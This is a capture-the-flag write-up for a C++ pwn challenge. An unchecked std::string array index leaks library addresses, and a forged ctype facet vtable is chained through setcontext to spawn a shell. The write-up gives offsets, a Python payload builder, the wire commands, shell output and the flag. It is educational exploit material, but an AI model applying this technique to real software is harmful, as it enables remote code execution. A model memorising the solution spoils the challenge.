PwnFortID 2026
String Peek and Poke
An unchecked signed index into a std::string[8] becomes a relative read and write over neighbouring stream objects. A write() that returns EFAULT instead of crashing leaks libc, then a forged ctype facet reaches execve through setcontext.
What this one teaches
- An unchecked signed index into an array of non-trivial C++ objects (
std::string[]here) is a relative read and write over whatever memory sits around that array, not a plain out-of-bounds access on raw bytes. - A
write()syscall from an unmapped source address returnsEFAULTrather than killing the process when the destination is a socket or pipe, so the stream only sets its failbit and a leak plus the follow-up write stay on one connection. std::string's layout (data pointer, length, capacity) means a slot whose capacity reads back huge turns the next assignment into an arbitrary-address write.- A stream's
ctype<char>facet is a virtual-call primitive: corrupt its vtable pointer and the widen-init check calls through it with the facet itself inrdi. - glibc's
setcontextrestores the whole register file from a structure named by one register, so a single controlled call into it pivots to any one-argument call such asexecve.
Hints
Stuck? Open one hint, then go back and try again before reading the next.
Hint 1 of 2Show
The program does not crash on an out-of-bounds read even though the memory past the array is the wrong type. Look at what the underlying syscall returns, not just whether the process is still alive.
Hint 2 of 2Show
The two library files in the handout are not interchangeable with a same-version system install; offsets inside them differ by package build.
Full solution below. Spoilers ahead.
Task description
Strings, strings everywhere…
The handout is the binary chall (64-bit, dynamically linked, not stripped, PIE), its source chall.cpp, and the exact target libraries libc-2.39.so and libstdc++.so.6.0.33. The folder names the task string_peek_and_poke; the platform title is “String Peek and Poke”.
The vulnerable loop
The whole program is 42 lines. It keeps eight std::string objects in a global array and loops on a tiny command set:
const int CAP = 8;
string notes[CAP];
int main() {
cout.setf(ios::unitbuf);
while (true) {
cout << "> ";
string line;
getline(cin, line);
istringstream iss(line);
string command;
iss >> command;
if (command == "exit") break;
if (command == "put") {
int idx; iss >> idx;
string val; iss >> val;
notes[idx] = val;
} else if (command == "get") {
int idx; iss >> idx;
cout << notes[idx] << endl;
} else {
cout << "unknown command" << endl;
}
}
return 0;
}
idx is a signed int read straight from input with no bounds check. notes[idx] is pointer arithmetic on the array base, so any 32-bit index reaches notes + idx * sizeof(std::string), inside the array or not. get makes that a relative read, put a relative write, each over whatever object sits at that offset.
The protections, read out of the ELF rather than taken on trust, are full RELRO (the GOT is mapped read-only after startup), a stack canary, NX, and PIE. A GOT overwrite is closed off, so the way in is a library leak plus a hijack of something still callable.
Reading the protections off the file (no debugger)
gdb and objdump were not available, so I parsed the ELF in Python. The binary’s e_type is ET_DYN (PIE). The PT_GNU_STACK segment is not executable (NX). A PT_GNU_RELRO segment is present and the dynamic table carries DF_BIND_NOW, which together is full RELRO. __stack_chk_fail appears in the symbol table, so the canary is on. The same parser read every symbol address used below straight out of .symtab and .dynsym.
Mapping the neighbourhood
The binary is unstripped, so the layout around notes comes from its own symbols. Each address is image-relative, since PIE means everything is an offset from the load base:
| object | offset from image base | index from notes |
|---|---|---|
notes (std::string[8], size 0x100) |
0x203260 |
0 .. 7 |
std::cout |
0x203020 |
-18 |
std::cin |
0x203140 |
-9 |
The two negative indices are exact: (0x203260 - 0x203020) / 0x20 = 18 and (0x203260 - 0x203140) / 0x20 = 9, with sizeof(std::string) = 0x20 (the notes symbol is 0x100 bytes for eight strings).
Index -1 is more interesting than either stream’s base. It points at notes - 0x20 = 0x203240, which lands 0x20 bytes inside cin’s own storage (cin spans 0x203140 .. 0x203258). The 32 bytes there are read back by std::string’s accessors as a data pointer that happens to aim at the ctype<char> locale facet cin carries, with a length and capacity field that both read back as huge numbers.
What a std::string is in memory, for a non-pwn reader
libstdc++ lays a std::string out as three machine words: _M_p (a pointer to the character data) at offset 0, _M_string_length at offset 8, and either the capacity or a 15-byte inline buffer at offset 0x10. Reading the string copies _M_string_length bytes starting at _M_p. Assigning into it, when the new length is within the stored capacity, overwrites the bytes at _M_p in place.
So when notes[-1] overlays 32 bytes of another object, the program reinterprets those bytes as {data pointer, length, capacity}. Whatever pointer sits there becomes the source of a read and the destination of a write, and whatever integer sits in the capacity slot decides whether an assignment writes in place or reallocates.
Two primitives from one bad index
get -1 is an arbitrary relative read. cout << notes[-1] prints _M_string_length bytes from _M_p, and here _M_p is the ctype facet and the length is enormous. __ostream_insert walks off the end of the facet, through unrelated memory, and eventually into a page that is not mapped at all.
The read does not crash. The destination is a socket, so the write() syscall that __ostream_insert issues returns EFAULT for the call that touches the unmapped source, and cout sets its failbit instead of taking a fault. The process keeps running, and cin is a separate stream that is untouched. Several kilobytes come back before the writes stop (around 5.8 KB on the live run), which is enough to read the facet’s vtable pointer and its locale-data pointer and recover both library bases from one connection.
put -1 <val> is a controlled write. The same slot’s capacity reads back huge, so notes[-1] = val sees len(val) <= capacity, takes the in-place path, and memcpys val straight into the ctype facet. The one constraint is that std::cin >> val stops at whitespace, so the written bytes may not contain any of \t \n \v \f \r or space (0x09 0x0a 0x0b 0x0c 0x0d 0x20).
Because the leak never kills the process, the leak and the write share one TCP connection and one address space, so there is no need to assume ASLR holds still between connections.
The hijack: one virtual call with a chosen register
Every loop iteration, before reading a command, the stream machinery consults cin’s ctype facet to widen the prompt characters. It checks a flag in the facet that records whether widen has been initialised. While that flag is 0, it reads the facet’s vtable pointer and calls vtable[7] (the do_widen slot, at vtable offset 0x38) with rdi set to the facet itself, provided that slot differs from the library’s default implementation.
Overwriting the facet so its vtable pointer aims into bytes I also control, and zeroing the “already initialised” flag, turns that into an attacker-chosen indirect call with rdi = facet. The chosen target is glibc’s setcontext.
Why setcontext finishes the job from one call
setcontext exists to restore a saved CPU state. Given a pointer to a ucontext-shaped structure, it reloads the general registers, the stack pointer and the instruction pointer from fixed offsets inside it, then returns into the restored rip. On this glibc build the entry does push rdi early and later pop rdx, so the structure it reads from is the same rdi the virtual call handed it, which is the facet.
That means one controlled call into setcontext, with rdi pointing at memory I filled, lets me set every register at once. Laying the facet out as that structure with rip = execve, rdi = "/bin/sh", rsi = 0, rdx = 0 turns a single hijacked virtual call into execve("/bin/sh", NULL, NULL). The facet’s own fldenv and mxcsr fields have to hold sane floating-point state (0x037f and 0x1f80) or setcontext faults while restoring them.
Building the blob
Every offset below was read out of the handout libraries with the ELF parser, not from a system install. setcontext, execve and the /bin/sh string are confirmed by symbol and by the bytes at the address; the facet vtable is _ZTVSt5ctypeIcE plus the standard 0x10 vtable-pointer adjustment.
STDCPP_VT_OFF = 0x26fe98 # facet.vtable - libstdc++ base (_ZTVSt5ctypeIcE + 0x10)
LIBC_MCL_OFF = 0x202de0 # facet._M_c_locale - libc base
FACET_OFF_STDCPP = 0x27ba20 # facet address - libstdc++ base (.bss)
SETCONTEXT = 0x4a960
EXECVE = 0xef030
BINSH = 0x1cc42f # ".rodata" holds "/bin/sh\x00"
def build_blob(facet, libc):
setcontext = libc + SETCONTEXT
execve = libc + EXECVE
binsh = libc + BINSH
buf = bytearray(0x1c8) # 456 bytes
def P(off, val): buf[off:off+8] = p64(val)
P(0x00, facet + 0x40) # fake vtable pointer -> vtable[7] lives at facet+0x78
P(0x38, 0) # widen-init flag = 0, so the call path is taken
P(0x78, setcontext) # fake vtable[7], called with rdi = facet
# ucontext seen by setcontext, offsets measured from rdx = facet
P(0x68, binsh) # restored rdi -> "/bin/sh"
P(0x70, 0) # restored rsi -> NULL (argv)
P(0x88, 0) # restored rdx -> NULL (envp)
P(0xa0, facet + 0xf8) # restored rsp, inside this blob
P(0xa8, execve) # pushed as the return address, so rip -> execve
P(0xe0, facet + 0x150) # fldenv source
buf[0x150:0x152] = struct.pack('<H', 0x037f) # FPU control word
buf[0x1c0:0x1c4] = struct.pack('<I', 0x1f80) # MXCSR
return bytes(buf)
The leak feeds this: facet_vtable = leak[0:8] gives the libstdc++ base after subtracting STDCPP_VT_OFF, _M_c_locale = leak[0x10:0x18] gives the libc base after subtracting LIBC_MCL_OFF, and the facet address is the libstdc++ base plus FACET_OFF_STDCPP.
On the wire
The exchange is two commands on one connection:
get -1
put -1 <456-byte blob, no whitespace bytes>
get -1 dumps the facet and the surrounding memory until write() hits an unmapped page. put -1 <blob> overwrites the facet in place. On the next loop iteration cout << "> " fails quietly (the stream is already in failbit from the leak), the widen-init check sees the zeroed flag, and the call goes through the forged vtable into setcontext, which lands in execve("/bin/sh", NULL, NULL).
The blob carries real pointer values, so some fraction of connections place a forbidden whitespace byte somewhere inside a pointer and iss >> val truncates the input before it is stored. The solver just reconnects, which reshuffles ASLR and so reshuffles those bytes, and loops up to 50 times until one blob is clean. On the live instance the shell came back well within that budget:
[*] leaked 5788 bytes
[*] libstdc++ = 0x7fb92f182000
[*] libc = 0x7fb92ef6f000
[*] facet = 0x7fb92f43ca20
====== SHELL OUTPUT ======
FortID{wh3n_7h3_0nly_t00l_15_4_h4mm3r...
uid=10001(ctf) gid=10001(ctf) groups=10001(ctf)
The leaked bases, the facet address and the shell output are from that run; without the live service they cannot be re-derived here, but the offsets they feed on are the ones verified against the handout libraries above.
Matching the shipped libraries
The one gotcha that cost real time was the libraries. A local Ubuntu glibc 2.39 with the same version string put execve, the /bin/sh string, and the _M_c_locale pointer at different offsets from the handout’s own build, and the exploit failed silently against those. Patching the local copy of chall to load the handout libc-2.39.so and libstdc++.so.6.0.33 (via patchelf --set-rpath . and the right .so symlinks) fixed it. The reliable offsets are the ones read out of the files the challenge actually hands you, which is why every constant above was taken from those two files.
Why this works
notes[idx] with no bound on idx reaches real C++ control structures on both sides of the array, so the unchecked index is a relative read/write primitive rather than a crash. The fix is the plain one: check 0 <= idx < CAP, or use std::array::at(), which throws instead of walking past the end.
A failing syscall is not the program dying. write() from an unmapped source through a socket returns EFAULT and only marks the stream failed, and cin kept working throughout, which is what let the leak and the exploit share a single connection. And a locale facet is a clean virtual-call primitive: any write that reaches a stream’s ctype facet buys one attacker-steered call with the facet in rdi, and chaining that into setcontext turns it into full register control.
The flagReveal
FortID{wh3n_7h3_0nly_t00l_15_4_h4mm3r_3v3ry_5tr1ng_15_4_n41l_fd94ab8090}This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.